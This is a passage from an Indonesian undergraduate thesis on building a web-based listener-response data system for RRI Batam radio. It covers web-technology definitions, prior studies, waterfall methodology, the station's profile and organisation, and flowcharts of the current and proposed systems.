halaman yang memanggil kode JQuery. JQuery melakukan kerja keras
koding javascript untuk anda. (Beighley, 2010))
Jika disimpulkan secara umum berdasarkan teori – teori yang ada
JQuery adalah library javascript yang berisi kode – kode javascript
yang di sederhanakan yang tidak bisa dilakukan oleh HTML maupun
CSS, penggunaan
jQuery sendiri sangat mudah karena sudah dituliskan dan dapat
dipakai langsung di halaman yang dapat memanggil kode JQuery,
secara umum JQuery melakukan kerja keras koding javascript namun
dalam versi yang lebih mudah dan sederhana.
2.1.15 CSS (Cascading Style Sheet)
Cascading Style Sheet (CSS) adalah sebuah dokumen yang berdiri
sendiri dan dapat dimasukan dalam kode HTML atau sekedar menjadi
rujukan oleh HTML dalam pendefinisian style. CSS menggunakan
kode – kode yang tersusun umtuk menetapkan style pada elemen
HTML atau dapat juga digunakan untuk membuat style baru yang biasa
disebut class. (Sulistyawan, Rubianto, & Saleh, 2008: 33)
Cascading Style Sheet (CSS) pelengkap HTML. CSS membentuk
aturan tampilan atau style yang digunakan pada website, sehingga
40
dapat dipisahkan antara isi website yang ditulis dengan HTML dan
tampilan web yang ditulis dengan CSS. Biasanya CSS digunakan untuk
menentukan warna, font, layout dan berbagai macam hal yang
menyangkut tampilan. (Ollie, 2008: 50)
2.1.16 Pengertian Bootstrap
Bootstrap merupakan sebuah framework css yang memudahkan
pengembang untuk membangun website yang menarik dan responsif.
Tidak konsistensinya terhadap aplikasi individual membuat sulitnya untuk
mengembangkan dan pemeliharaannya. Bootstrap adalah css tetapi
dibentuk dengan LESS, sebuah pre-prosessor yang memberi fleksibilitas
dari css biasa. Bootstrap memberikan solusi rapi dan seragam terhadap
solusi yang umum, tugas interface yang setiap pengembang hadapi.
Bootstrap dapat dikembangkan dengan tambahan lainnya karena ini cukup
fleksibel terhadap pekerjaan design butuhkan (Otto, 2011).
Keunggulan dalam menggunakan Bootstrap adalah semua bagian
untuk antarmuka pengguna menggunakan style css, Bootstrap dapat
menggunakan LESS pre-prosessor sebuah teknologi yang mengurangi dan
mengefisienkan penulisan kode CSS. Bootstrap dapat diintegrasikan
dengan JavaScript untuk menjadikan lebih menarik dengan efek-efek yang
dapat diberikan dengan JavaScript (Tectale, 2012).
Kelemahan dalam menggunakan Bootstrap adalah dengan adanya
penggunaan bootstrap menjadi tidak adanya keunikan didalam website
karena akan samanya tampilan yang diberikan. Terdapat juga laporan
bahwa sistem grid pada bootstrap tidak responsif (Tectale, 2012).
41
2.1.17 Pengertian MySQL
Karena karakteristik arsitektur dari MySQL yang flexible, MySQL
dapat berjalan dengan baik di desktop application maupun web
application. MySQL dapat digunakan untuk embedded application,
data warehouses, content indexing and delivery software, highly
reduntant sistems, online transaction processing (OLTP), dan masih
banyak lagi. Dengan konfigurasi yang benar, MySQL dapat digunakan
pada berbagai macam perangkat keras, dan juga MySQL mendukung
banyak tipe data. Salah satu fitur penting dari MySQL adalah storage-
engine architecture yang designnya memisahkan query processing dan
pekerjaan - pekerjaan server lainnya dari penyimpanan dan
pengambilan data. Dengan adanya separasi ini dapat membuat
pengguna memilih bagaimana data disimpan, performa apa yang ingin
dicapai, fitur - fitur apa aja yang diinginkan, dan karakteristik lainnya.
MySQL juga memiliki fitur Partitioned Tables sebagai logical
table yang merupakan komposisi dari beberapa sub-tables. Tujuan dari
partitioning ini adalah untuk membentuk coarse form of indexing dan
data clustering dari tabel. Dengan begini sebagian besar dari tabel
tidak perlu diakses dan untuk menyimpan rows yang berelasi dengan
erat (Schwartz, Zaitsev, dan Tkachenko, 2012).
2.1.18 Pengertian Apache
Server HTTP Apache atau Server Web/WWW Apache adalah server
web yang dapat dijalankan di banyak sistem operasi (Unix, BSD,
Linux, Microsoft Windows, serta platform lainnya) yang berguna untuk
42
melayani dan memfungsikan situs web. Protokol yang digunakan
untuk melayani fasilitas Web/WWW ini menggunakan HTTP.
Apache memiliki fitur-fitur canggih seperti pesan kesalahan yang
dapat dikonfigur, autentikasi berbasis basis data dan lain-lain. Apache
juga didukung oleh sejumlah antarmuka pengguna berbasis grafik
(GUI) yang memungkinkan penanganan server menjadi mudah
(Wardani, 2013).
2.1.19 Pengertian PHP MyAdmin
Bunafit (2013:15), PHPMyAdmin adalah aplikasi manajemen
database server MySQL berbasis web. Dengan aplikasi phpMyAdmin
kita bias mengelola database sebagai root atau juga sebagai user biasa,
kita bias membuat database baru, megelola database dan melakukan
operasi perintah-perintah database secara lengkap seperti saat kita di
MySQL Promp.
2.1.20 Pengertian Adobe Dreamweaver CC 2017
Adobe Dreamweaver merupakan program penyunting halaman web
keluaran Adobe Sistems yang dulu dikenal sebagai Macromedia
Dreamweaver keluaran Macromedia. Program ini banyak digunakan
oleh pengembang web karena fitur-fiturnya yang menarik dan
kemudahan dalam penggunaannya. Versi terakhir Macromedia
Dreamweaver sebelum Macromedia dibeli oleh Adobe Sistems yaitu
versi 8. Versi terakhir Dreamweaver keluaran Adobe Sistems adalah
versi 12 yang ada dalam Adobe Creative Cloud (sering disingkat
Adobe Cc).
43
2.1.21 Pengertian XAMPP
Xampp adalah perangkat lunak bebas, yang mendukung banyak
sistem operasi, merupakan kompilasi dari beberapa program.
Fungsinya adalah sebagai server yang berdiri sendiri (localhost),
yang terdiri atas program Apache HTTP Server, MySQL database, dan
penerjemah Bahasa yang ditulis dengan Bahasa pemograman PHP dan
Perl. Nama XAMPP merupakan singkatan dari X (empat sistem
operasi apapun), Apache, MySQL, PHP dan Perl. Program ini tersedia
daalm GNU (General Public License) dan bebas, merupakan web
server yang mudah digunakan yang dapat melayani tampilan halaman
web yang dinamis. (Aditya, 2011)
2.1.22 Pengertian Black Box Testing
Menurut (Pressman, 2005), Black-Box Testing adalah metode
pengujian yang berfokus pada persyaratan fungsional perangkat lunak.
Pengujian ini berusaha menemukan kesalahan dalam kategori sebagai
berikut :
1. Fungsi – fungsi yang tidak benar atau hilang,
2. Kesalahan interface,
3. Kesalahan dalam struktur data atau akses database eksternal,
4. Kesalahan kinerja.
44
2.2 Penelitian Terdahulu
Penelitian terdahulu dilakukan sebagai upaya untuk memperjelas
tentang variabel-variabel yang ada dalam penelitian ini dan juga untuk
membedakan penelitian ini dengan penelitian yang terdahulu.
Umumnya kajian yang dilakukan oleh peneliti-peneliti dari kalangan
akademis dan telah mempublikasikannya pada beberapa jurnal cetakan
dan jurnal online (internet). Penelitian mengenai perancangan sistem
informasi respond data pendengar berbasis Web yang dilakukan
peneliti terdahulu antara lain: Evin Arindiya Kirana (2014), Susy
Kusuma Wardani (2013) dan Redha Hidayatullah (2013).
(Kirana, 2014) melakukan penelitian dengan judul Sistem
Informasi Pemetaan Pendengar Berbasis Sms Gateway Pada Radio
Karysma Fm Boyolali, menyatakan bahwa pengelolaan database
dilakukan dengan menggunakan PhpMyadmin & MySql. Sebagai hasil
dari penelitian ini adalah terbentuknya Sistem Informasi Pemetaan
Pedengar berbasis SMS Gateway Pada Radio Karysma FM Boyolali
yang digunakan sebagai media untuk mendapatkan data perhitungan
jumlah pemetaan pendengar aktif suatu acara radio melalui layanan
SMS Gateway secara cepat, tepat, dan akurat. Selain itu sistem
informasi ini dapat menerima input dari SMS pendengar dan juga
dapat menyajikan informasi/ laporan berbentuk tabel dan grafik.
(Wardani, 2013) melakukan penelitian dengan judul Sistem
Informasi Pengolahan Data Nilai Siswa Berbasis WEB Pada Sekolah
Menengah Kejuruan (SMK) PGRI 1 Pacitan, menyatakan bahwa
45
penelitian ini telah menghasilkan sebuah sistem pengolahan nilai yang
membantu kerja dari para guru dan wali kelas, Sistem Informasi
Berbasis Web yang menggunakan teknologi pendukung berupa PHP
dan basis data MySQL ini memberi kemudahan bagi admin dalam hal
ini wali kelas/guru dan siswa untuk mengakses melalui piranti apapun
selama terkoneksi dengan jaringan internet. Hal ini dilakukan untuk
membangun sistem yang membantu dalam pengolahan serta penyajian
informasi data nilai siswa. Dengan tujuan agar pengolahan nilai dapat
di olah secara efektif dan efisien, sehingga bisa langsung di akses serta
informasi dapat tersampaikan dengan baik.
(Hidayatullah, 2013) melakukan penelitian dengan judul,
Sistem Pengolahan Data Surat Masuk Dan Surat Keluar Pada Kantor
Badan Pengawasan Keuangan Dan Pembangunan (BPKP) Provinsi
Aceh Berbasis Web, menunjukkan bahwa dengan adanya Sistem
Pengolahan Data Surat Masuk dan Surat Keluar berbasis Web pada
kantor Badan Pengawasan Keuangan dan Pembangunan (BPKP)
Perwakilan Provinsi Aceh, maka proses penginputan maupun
pencarian data surat masuk dan surat keluar dapat dilakukan dengan
lebih cepat, akurat dan sesuai dengan tuntutan semua pihak.
46
BAB III METODOLOGI PENELITIAN
3.1 Kerangka Kerja
3.1.1 Susunan Kerangka Kerja
Adapun kerangka kerja penelitian yang di gunakan seperti terlihat
pada gambar 3.1 dibawah
Gambar 3.1 Kerangka Kerja Penelitian
Berdasarkan kerangka kerja penelitian yang telah digambarkan
pada gambar 3.1 diatas, maka dapat diuraikan langkah-langkah kerangka
kerja sebagai berikut:
1. Studi Literatur
Pada tahap ini dilakukan pencarian landasan-landasan teori yang
diperoleh dari berbagai buku dan juga internet untuk melengkapi
47
perbendaharaan konsep dan teori, sehingga memiliki landasan dan
keilmuan yang baik dan sesuai.
2. Pengumpulan Data
Pada tahap ini dilakukan proses pengumpulan data dengan metode
wawancara dan observasi untuk melakukan pengamatan dan analisa
terhadap proses kerja data respon pendengar yang sedang dilakukan pada
RRI BATAM, sehingga mendapatkan data dan informasi yang dibutuhkan
oleh peneliti.
3. Analisis Sistem
Pada tahap ini dilakukan indentifikasi masalah pada sistem yang
sedang berjalan. Dengan demikian, diharapkan peneliti dapat menemukan
kendala-kendala dan permasalahan yang terjadi pada proses kerja data
respon pendengar pada RRI BATAM, sehingga peneliti dapat mencari
solusi dari permasalahan tersebut.
4. Pengembangan Sistem
Pada tahap ini dilakukan pengembangan sistem dengan
menggunakan model waterfall.
5. Pembuatan Laporan
Pada tahapan ini dilakukan pembuatan laporan yang disusun
berdasarkan hasil penelitian dengan menggunakan teknik pengumpulan
data primer dan sekunder, sehingga menjadi laporan penelitian yang dapat
memberikan gambaran secara utuh tentang sistem yang sedang dibangun.
48
3.1.2 Lokasi dan Waktu Penelitian
Dalam penyusunan karya ilmiah ini penulis melakukan penelitian
di RRI BATAM yang beralamat di Gedung Graha Pena Lt.4, Jalan Raya
Batam Center, Kepulauan Riau. Sedangkan waktu pengumpulan data dan
penelitian data dimulai dari 23 Maret 2017 sampai dengan 30 Maret 2017.
3.1.3 Metode Pengumpulan Data
Metode penelitian merupakan tata cara bagaimana suatu penelitian
dilaksanakan, mencakup cara pengumpulan data dan analisis data. Jenis-
jenis metode penelitan dapat dilihat sebagai berikut :
1. Penelitian Lapangan (Field Research)
Penelitian tersebut dapat dikelompokkan menjadi :
a. Pengamatan (Observation)
Merupakan proses melakukan pengamatan langsung terhadap
objek yang diteliti untuk mengetahui kondisi yang sebenarnya.
b. Wawancara (Interview)
Merupakan pengumpulan data dengan cara tanya jawab langsung
dengan pihak yang bersangkutan guna memperoleh informasi yang akurat.
1. Penelitian Pustaka (Library Research)
Yaitu penelitian yang dilakukan dengan cara membaca dan
mempelajari literature dengan maksud untuk mendapatkan teori-teori
mengenai masalah pokok yang sedang dibahas.
49
3.1.4 Metode Pengembangan Sistem
Metode pengembangan sistem adalah prosedur pekerjaan dan
aturan-aturan untuk mengembangkan suatu sistem informasi. Dengan
metode pengembangan sistem yang baik, maka diharapkan suatu sistem
yang akan dikembangkan dapat mencapai sasaran atau tujuan yang telah
ditetapkan sebelumnya. Metode pengembangan sistem yang dipakai
penulis dalam penyusunan karya ilmiah ini adalah model pengembangan
software waterfall (model air terjun), dikarenakan proses ini telah
terorganisir, sehingga resiko akan terjadinya pengulangan proses langkah
kerja akan terhindari sebab proses langkah kerja dilakukan secara
berurutan.
Waterfall adalah model pengembangan sistem yang dimana setiap
tahapannya harus diselesaikan terlebih dahulu sebelum diteruskan ketahap
berikutnya, untuk menghindari terjadinya pengulangan tahapan.
Berikut metode pengembangan sistem menggunakan metode
waterfall yang di gunakan seperti terlihat pada gambar 3.2 dibawah
50
Gambar 3.2 Pengembangan Software model Waterfall
Berdasarkan metode pengembangan sistem yang telah
digambarkan pada gambar 3.2 diatas, maka dapat diuraikan langkah-
langkah kerangka kerja sebagai berikut:
1. System Engineering
Pada tahap ini, penulis memulai pekerjaan dengan
mendefinisikan dan mengumpulkan semua bahan-bahan seperti
teori-teori yang di butuhkan dalam membentuk suatu informasi
yang akan digunakan pada tahapan selanjutnya.
2. Analys
Pada tahap ini dilakukan analisis kebutuhan
dari software yang akan dirancang dan dibuat, meliputi analisis
fungsi/proses yang dibutuhkan, analisis output, analisis input, dan
analisis kebutuhan.
51
3. Design
Pada tahap ini, dilakukan perancangan software yang
bertujuan untuk memberikan gambaran apa yang seharusnya di
kerjakan oleh software dan bagaimana tampilannya, meliputi
rancangan output, rancangan input, rancangan struktur data yang
digunakan, rancangan struktur software dan rancangan
algoritma software. Tahapan ini membantu dalam
menspesifikasikan kebutuhan dan arsitektur software secara
keseluruhan.
4. Coding
Pada tahap ini, dilakukan proses coding atau pembuatan
software. Pembuatan software dipecah menjadi beberapa modul
yang nantinya akan digabungkan dalam tahap berikutnya. Selain
itu dalam tahap ini juga dilakukan untuk mengetahui apakah sudah
memenuhi fungsi yang diinginkan atau belum.
5. Testing
Dalam tahap ini dilakukan pengabungan modul-modul yang
telah dibuat dan dilakukan pengujian atau testing. Pengujian ini
dilakukan untuk mengetahui apakah software yang dirancang telah
sesuai dengan desainnya dan apakah terdapat kesalahan atau tidak.
6. Maintainance
Tahap ini merupakan tahapan akhir dalam
model waterfall. software yang sudah jadi dijalankan serta
dilakukan pemeliharaan (Maintenance). Pemeliharaan ini termasuk
52
memperbaiki kesalahan yang tidak ditemukan pada langkah
sebelumnya. Perbaikan Implementasi unit sistem dan peningkatan
jasa sistem sebagai kebutuhan baru.
3.2 Gambaran Umum Perusahaan
3.2.1 Sejarah Singkat
Radio Republik Indonesia (RRI) adalah stasiun radio milik
pemerintah Indonesia. RRI didirikan pada tanggal 11 September 1945.
Slogan RRI adalah "Sekali di Udara, Tetap di Udara".
Sebagai Lembaga Penyiaran Publik, RRI terdiri dari Dewan
Pengawas dan Dewan Direksi. Dewan Pengawas yang berjumlah 5 orang
terdiri dari unsur publik, pemerintah dan RRI. Dewan Pengawas yang
merupakan wujud representasi dan supervisi publik memilih Dewan
Direksi yang berjumlah 5 orang yang bertugas melaksanakan kebijakan
penyiaran dan bertanggung jawab atas penyelenggaraan penyiaran. Status
sebagai Lembaga Penyiaran Publik juga ditegaskan melalui Peraturan
Pemerintah Nomor 11 dan 12 tahun 2005 yang merupakan penjabaran
lebih lanjut dari Undang-Undang Nomor 32/2002.
RRI adalah satu-satunya radio yang menyandang nama negara
yang siarannya ditujukan untuk kepentingan bangsa dan negara. RRI
sebagai Lembaga Penyiaran Publik yang independen, netral dan tidak
komersial yang berfungsi memberikan pelayanan siaran informasi,
pendidikan, hiburan yang sehat, kontrol sosial, serta menjaga citra positif
bangsa di dunia internasional.
53
RRI memiliki 62 stasiun penyiaran termasuk Siaran Luar Negeri
dan 5 satuan kerja (satker) lainnya yaitu Pusat Pemberitaan, Pusat
Penelitian dan Pengembangan (Puslitbangdiklat) Satuan Pengawasan
Intern, serta diperkuat 16 studio produksi serta 11 perwakilan RRI di Luar
negeri RRI memiliki 61 programa 1, 61 programa 2, 61 programa 3, 14
programa 4 dan 7 studio produksi maka RRI setara dengan 205 stasiun
radio.
RRI berdiri di Batam sejak 5 tahun yang lalu tepatnya pada tahun
2011. Berawal dengan mendirikan programa utama RRI yang lebih
dikenal dengan Programa 1 (Pro 1) dengan segmen pendengar
umum/semua usia serta khusus untuk pendengar lanjut usia, RRI BATAM
mengembangkan segmen pendengar dengan membuka radio anak muda
pertama di Batam yaitu Programa 2 (Pro 2) dengan segmen anak muda
rentang usia remaja serta dewasa tepatnya pada tahun 2014.
3.2.2 Ruang Lingkup Usaha
RRI BATAM merupakan Lembaga Penyiaran dibawah
Kepemerintahan Indonesia yang terletak di daerah perbatasan Kepulauan
Riau. RRI sendiri memiliki kantor yang berpusat di Jakarta dan memiliki
62 stasiun cabang yang tersebar di seluruh daerah yang ada di Indonesia.
Memberikan pelayanan informasi, pendidikan, hiburan yang sehat, kontrol
dan perekat sosial, serta melestarikan budaya bangsa untuk kepentingan
seluruh lapisan masyarakat melalui penyelenggaraan penyiaran radio yang
mengjangkau seluruh wilayah NKRI. (PP.12/2005. Ps. 4).
54
Tugas RRI dalam melayani seluruh lapisan masyarakat di seluruh
wilayah NKRI tidak bisa dilayani dengan satu programa saja, oleh karena
itu RRI menyelenggarakan siaran dengan 4 programa:
1. Pro 1: Pusat siaran pemberdayaan masyarakat
2. Pro 2: Pusat siaran kreatifitas anak muda
3. Pro 3: Pusat siaran jaringan berita nasional dan kantor berita
radio
4. Pro 4: Pusat siaran budaya dan pendidikan
VOI: Citra & Martabat bangsa didunia internasional siaran setiap
hari dengan 8 bahasa asing
Adapun ruang lingkup RRI dalam melayani seluruh lapisan
masyarakat adalah :
1. Peran dalam Pemberdayaan Masyarakat: RRI menyelenggarakan
siaran pemberdayaan masyarakat di semua lapisan masyarakat melalui
siaran pedesaan, nelayan, wanita, anak-anak, siaran lingkungan hidup,
kewirausahaan, teknologi tepat guna, kerajinan, perdagangan,
pertanian, koperasi, industri kecil.
2. Peran RRI sebagai Pelestari Budaya Bangsa: Seluruh RRI wajib
menyelenggarakan siaran seni dan budaya daerah seluruh indonesia
secara konsisten dan tidak pernah berhenti seperti siaran ketoprak,
wayang orang, wayang golek, madihin, saluang dan budaya minang
lainnya, budaya bugis, dan budaya daerah-daerah lainnya.
55
3. Peran RRI sebagai pelestari lingkungan: RRI menyelenggarakan siaran
Green Radio untuk penanaman kembali dan Re Use, Reduce dan
Recycling dengan berbagai format dan variasi bentuk acara.
4. Peran RRI sebagai media pendidikan: RRI menyelenggarakan siaran
pendidikan dari Taman Kanak-Kanak sampai Mahasiswa. RRI
menyelenggarakan Pekan Kreatif dengan mengadakan lomba kreatif
remaja seperti lomba cipta lagu, lomba cipta design, lomba IT, lomba
band indie, bintang radio, pekan tilawatil quran. Disamping itu juga
menyelenggarakan siaran pendidikan social masyarakat, seperti siaran
wanita, siaran pedesaan, siaran KB.
5. Peran RRI sebagai Media Diplomasi: RRI menyelenggarakan siaran
radio diplomasi melalui siaran luar negeri untuk membangun citra
positif bangsa didunia internasional bekerjasama dengan kedutaan dan
radio luar negeri dengan siaran yang bersifat reciprocal. Kerjasama
siaran dengan ABC, NHK, RTM, RTB, KBS, RTH, SR, BBC, Radio
Jedah, Radio Turki, RCI, DW.
6. Peran RRI sebagai media terdepan tanggap bencana: RRI
menyelenggarakan siaran langsung dari tenda darurat melalui Radio
Based Disaster Management. Setiap ada bencana dalam waktu tidak
lebih dari 24 jam RRI harus sudah melaporkan.
7. Peran RRI dalam menghubungkan tenaga kerja di Luar Negeri: RRI
menyelenggarakan siaran rutin dan terkoneksi dengan 7 negara yaitu:
Hongkong, Malaysia, Brunei Darusalam, Jepang, Taiwan, Korea dan
Arab Saudi untuk mendekatkan TKI dengan kampung halaman.
56
8. Peran RRI sebagai media hiburan: RRI menyelenggarakan siaran
hiburan berupa siaran musik dan kata, pagelaran musik klasik yaitu
orkes symphony Jakarta dan orkes symphony yang dimiliki RRI daerah.
Pagelaran kesenian dan budaya, lawak, kuis.
3.2.3 Visi dan Misi
3.2.3.1 Visi
Menjadikan LPP RRI radio berjaringan terluas, pembangun
karakter bangsa, berkelas dunia
3.2.3.2 Misi
1. Memberikan pelayanan informasi terpecaya yang dapat menjadi
acuan dan ssarana kontrol sosial masyarakat dengan
memperhatikan kode etik jurnalistik/kode etik penyiaran.
2. Mengembangkan siaran pendidikan untuk mencerahkan,
mencerdaskan, dan memberdayakan serta mendorong kreatifitas
masyarakat dalam kerangka membangun karaktek bangsa.
3. Menyelenggarakan siaran yang bertujuan menggali,
melestarikan dan mengembangkan budaya bangsa, memberikan
hiburan yang sehat bagi keluarga, membentuk budi pekerti dan
jati diri bangsa di tengah arus globalisasi.
4. Menyelenggarakan program siaran berperspektif gender yang
sesuai dengan budaya bangsa dan melayani kebutuhan
kelompok minoritas.
57
5. Memperkuat program siaran di wilayah perbatasan untuk
menjaga kedaulatan NKRI
6. Meningkatkan kualitas siaran luar negeri dengan program siaran
yang mencerminkan politik negara dan citra positif bangsa.
7. Meningkatkan partisipasi publik dalam proses penyelenggaraan
siaran mulai dari tahap perencanaan, pelaksanaan, hingga
evaluasi program siaran.
8. Meningkatkan kualitas audio dan memperluas jangkauan siaran
secara nasional dan internasional dengan mengoptimalkan
sumberdaya teknologi yang ada dan mengadaptasi
perkembangan teknologi penyiaran serta mengefisienkan
pengelolaan operasional maupun pemeliharaan perangkat
teknik.
9. Mengembangkan organisasi yang dinamis, efektif, dan efisien
dengan sistem manajemen sumber daya (SDM, keuangan, asset,
informasi dan operasional) berbasis teknologi informasi dalam
rangka mewujudkan tata kelola lembaga yang baik (good
corporate governance)
10. Meningkatkan kualitas siaran luar negeri dengan program siaran
yang mencerminkan politik negara dan citra positif bangsa.
11. Memberikan pelayanan jasa-jasa yang terkait dengan
penggunaan dan pemanfaatan asset negara secara
profesional dan akuntabel serta menggali sumber-sumber
58
penerimaan lain untuk mendukung operasional siaran dan
meningkatkan kesejahteraan pegawai.
3.2.4 Struktur Organisasi
Struktur organisasi dapat diartikan sebagai suatu susunan
kepengurusan yang meliputi berbagai fungsi dan dijalankan secara
bersama-sama sesai dengan pedoman kerja yang berlaku sekaligus
meliputi peraturan dan hubungan kerja yang baik. Berikut struktur
organisasi secara garis besar pada RRI BATAM seperti terlihat pada
gambar 3.3 dibawah
Gambar 3.3 Struktur Organisasi RRI Batam
Susunan organisasi ini dilakukan untuk mempermudah pekerjaan
pencapaian tujuan dan pembagian wewenang dalam suatu perusahaan.
Adapun bentuk dari sebuah struktur organisasi ditentukan oleh kegiatan-
kegiatan serta departemen-departemen yang ada didalamnya. Selain
struktur organisasi harus bersifat fleksibel untuk mengikuti perkembangan
jaman serta kondisi perusahaan dn juga lingkungan disekitarnya.
59
3.2.5 Deskripsi Pekerjaan (Job Description)
Job description atau deskripsi pekerjaan merupakan informasi
faktual yang berisi pembagian tugas-tugas yang harus dilaksanakan dan
merupakan tanggung jawab yang dipegang oleh masing-masing karyawan
disetiap perusahaan. Berdasarkan struktur organisasi RRI BATAM diatas
maka dapat diterangkan deskripsi pekerjaan masing-masing karyawan
sebagai berikut :
1. Kepala Stasiun RRI BATAM
Kepala stasiun mempunyai tugas mengawasi output dari radio
terutama menyangkut kepenyiaran, produksi dan musik keseluruhan.
Memberikan bimbingan kepada penyiar dan operator menyangkut format,
misi dan visi radio. Mengawasi jalannya radio sehari-hari mulai dari
pemberitaan, musik pada program yang akan ditampilkan.
Bertanggungjawab terhadap kualitas, kuantitas dari Sumber Daya Manusia
( SDM ). Merencanakan dan menyusun format siaran. Merencanakan dan
menyusun kegiatan off air. Menerima tugas lain yang diberikan atasan
yang menyangkut ( Media audio ) Radio.
2. Kasubag Tata Usaha
Kasubag tata usaha mempunyai tugas pokok membantu Kepala
Stasiun RRI BATAM dalam melaksanakan urusan perencanaan,
kepegawaian, keuangan dan umum serta pengumpulan data dan
penyusunan laporan.
60
3. Kasi Siaran dan Pemberitaan
Kasi Siaran dan Pemberitaan terlibat dengan penyusunan rencana
program radio, perencanaan eksekusi program, evaluasi program
penyiaran, serta monitoring pemberitaan dari stasiun radio RRI BATAM
dan bertanggungjawab atas pelayanan pengaduan masyarakat atas
gangguan frekuensi radio.
4. Kasi Teknik dan Multimedia Baru
Kasi Teknik dan Multimedia Baru bertanggung jawab dalam
ketersediaan perlengkapan dan peralatan yang dibutuhkan oleh kegiatan
operasional radio. Pemantauan terhadap kualitas frekuensi radio.
Pembaharuan teknologi baru untuk keperluan teknis radio.
5. Kaur Keuangan
Kaur keuangan bertugas untuk mengatur seluruh kegiatan
keuangan yang terjadi di RRI BATAM. Mulai dari pencarian dana,
pembiayaan, investasi, dan pembayaran tagihan pajak, listrik, bangunan
serta biaya lain-lain yang berkaitan dengan keperluan RRI BATAM.
6. Kasubsi Siaran
Kasubsi siaran bertugas untuk memastikan bahwa siaran berjalan
dengan lancar tanpa ada gangguan baik itu dari frekuensi maupun bagian
penyiaran serta memastikan bahwa program yang telah disusun dijalankan
sesuai tupoksinya masing-masing.
7. Kasubsi Teknik Studio
Kasubsi Teknik Studio mempunyai tugas untuk memastikan bahwa
semua kegiatasn produksi suara talent berjalan dengan lancar, baik itu
61
produksi program, produksi iklan, produksi penyiaran, hingga produksi
jingle, spot, dan id station radio.
8. Presenter/Penyiar
Presenter/penyiar bertanggung jawab atas penyelenggaraan siaraan
berdasarkan rancngan acara, topik, dan angle yang sudah ditentukan
9. Reporter
Reporter bertugas mengumpulkan informasi, menentukan lead
sekaligus angle berita kemudian menulis dan melaporkannya baik dalam
bentuk naskah, secara langsung (live) maupun dalam bentuk paket berita
yang akan disiarkan kemudian.
62
BAB IV ANALISIS DAN IMPLEMENTASI
4.1 Analisis Sistem Yang Sedang Berjalan
Sistem Respon data pendegar yang selama ini digunakan di RRI
BATAM masih menggunakan sistem data input dengan mengumpulkan
data-data dari berbagai sumber. Data-data yang dikumpulkan berupa data
respon atau penilaian pendengar terhadap suatu program acara maupun
kualitas sang penyiar dan data diri dari pendengar tersebut. Data-data
tersebut didapatkan melalui berbagai sumber antara lain media komunikasi
(pesan singkat, telepon, surat dan email), media sosial (facebook, twitter,
whatsapp, bbm), dan tatap muka. Data-data tersebut dikumpulkan dan
diinput menjadi satu paket tabulasi data dengan mengunakan program
Microsoft excel.
Sistem data respon pendengar tersebut memiliki beberapa
kelemahan antara lain:
1. Terdapat kemungkinan data tidak terinput dikarenakan
human error disaat proses pengumpulan dan penginputan
data;
2. Tabulasi data tidak terkategorikan atau terkelompokkan
dengan baik untuk masing-masing program acara;
3. Proses penginputan data memakan waktu yang cukup lama,
karena masing masing sumber data memiliki formatnya
masing-masing;
63
4. Hasil akhir dari sistem data respon pendengar tersebut
kurang menarik dikarenakan hanya menampilkan data
tertulis dan tidak menampilkan data grafik performa. Hal in
juga berpengaruh dalam proses evaluasi oleh kepala stasiun
terhadap program acara siaran maupun kualitas penyiar.
Terdapat pihak-pihak yang terlibat dalam proses dalam proses
Sistem Data Respon Pendengar ini, antara lain:
1. Penyiar
2. Kepala Stasiun
Masing-masing pihak diatas memiliki peran atau lingkup kerja
yang berbeda antara satu dengan yang lainnya dalam proses Sistem Data
Respon Pendengar. Berikut penjabaran lingkup kerja pihak-pihak yang
terlibat dalam proses tersebut:
1. Penyiar
a. Mengumpulkan respon atau penilaian dari pedengar beserta
data diri pendengar tersebut melalui media komunikasi,
media sosial, dan tatap muka;
b. Menginput data-data yang terkumpul menjadi paket
tabulasi data dengan menggunakan program microsoft
excel;
c. Membuat laporan data respon pendengar dengan format
yang telah ditentukan;
d. Melaporkan hasil dari laporan data respon pendengar
kepada kepala stasiun untuk dievaluasi dan disetujui.
64
Start
End
Pemeriksaan
Proses Input Data Respon Pendengar
ke MS.Excel
Cetak
Cetak
DIsetujui
Ditolak
2. Kepala Stasiun
a. Menerima dan mengevaluasi laporan data respon pendengar
dari penyiar;
b. Menyetujui hasil evaluasi laporan data respon pendengar
dan menjadikan laporan tersebut sebagai tolak ukur kinerja
penyiar dan keberhasilan program acara yang sedang
berjalan.
Berikut ini merupakan Flowchart dan Gambar Alur Sistem
Informasi Data Respon Pendengar yang sedang berjalan pada RRI
BATAM
Gambar 4.1 Flowchart Data Respon Pendengar Yang Berjalan
65
Gambar 4.2 Alur Sistem Informasi Data Respon Pendengar Yang Berjalan
4.2 Analisis Sistem Informasi Yang Diusulkan
Setelah melakukan analisa terhadap Sistem Informasi Data Respon
Pendengar yang sedang berjalan dan masih digunakan hingga saat ini,
maka penulis merancang sistem yang baru dengan harapan sistem tersebut
lebih efisien dari sistem yang sebelumnya.
Pada Alur Sistem Informasi Data Respon Pendengar yang baru,
penulis mengusulkan sistem yang lebih mudah dalam proses penginputan
data oleh penyiar, pengelompokan data, serta penampilan hasil akhir yang
lebih menarik. Hal ini memudahkan Kepala Stasiun RRI BATAM dalam
memonitor serta mengevaluasi setiap program acara dan kinerja penyiar.
Rancangan Alur Sistem Informasi Data Respon Pendengar ini
selanjutnya akan dipergunakan sebagai dasar perancangan basis data dan
ASI Lama Prosedur Data Respon Pendengar pada Radio Republik Indonesia Batam
PENYIAR KEPALA STASIUN
Input data respon pendengar di
aplikasi MS.Excel
Laporan data respon pendengar
Pemeriksaan Lap. data respon pendengar
21
Ditolak
Laporan data respon pendengar
21
Disetujui
End
Data Respon Pendengar
(Media Komunikasi & Media Sosial)
Laporan akhir data respon pendengar
66
perancangan masukan serta keluaran pada Sistem Informasi Data Respon
Pendengar RRI BATAM.
Berikut ini merupakan Flowchart dan Gambar Alur Sistem
Informasi Data Respon Pendengar RRI BATAM yang diusulkan.
Gambar 4.3 Flowchart Admin Data Respon Pendengar Yang Diusulkan
Start
End
Login Admin
Input Daftar Acara
Input Data Penyiar
Check Data Pendengar
Cetak
Berhasil
Gagal
Check Detail Acara & Interaksi Pendengar
67
Gambar 4.3 Flowchart Penyiar Data Respon Pendengar Yang Diusulkan
Start
End
Login Penyiar
Input Data Pendengar
Input Detail Acara
Input Interaksi Pendengar
Cetak
Berhasil
Gagal
68
Alur Sistem Informasi Data Respon Pendengar Yang Diusulkan di Radio Republik Indonesia Batam
PENYIAR ADMIN KEPALA STASIUN
Input data respon pendengar di Sistem
(Data Pendengar, Daftar Acara,Data Penyiar,
Detail Acara, Interaksi Pendengar )
Lap.data respon pendengar (PDF)
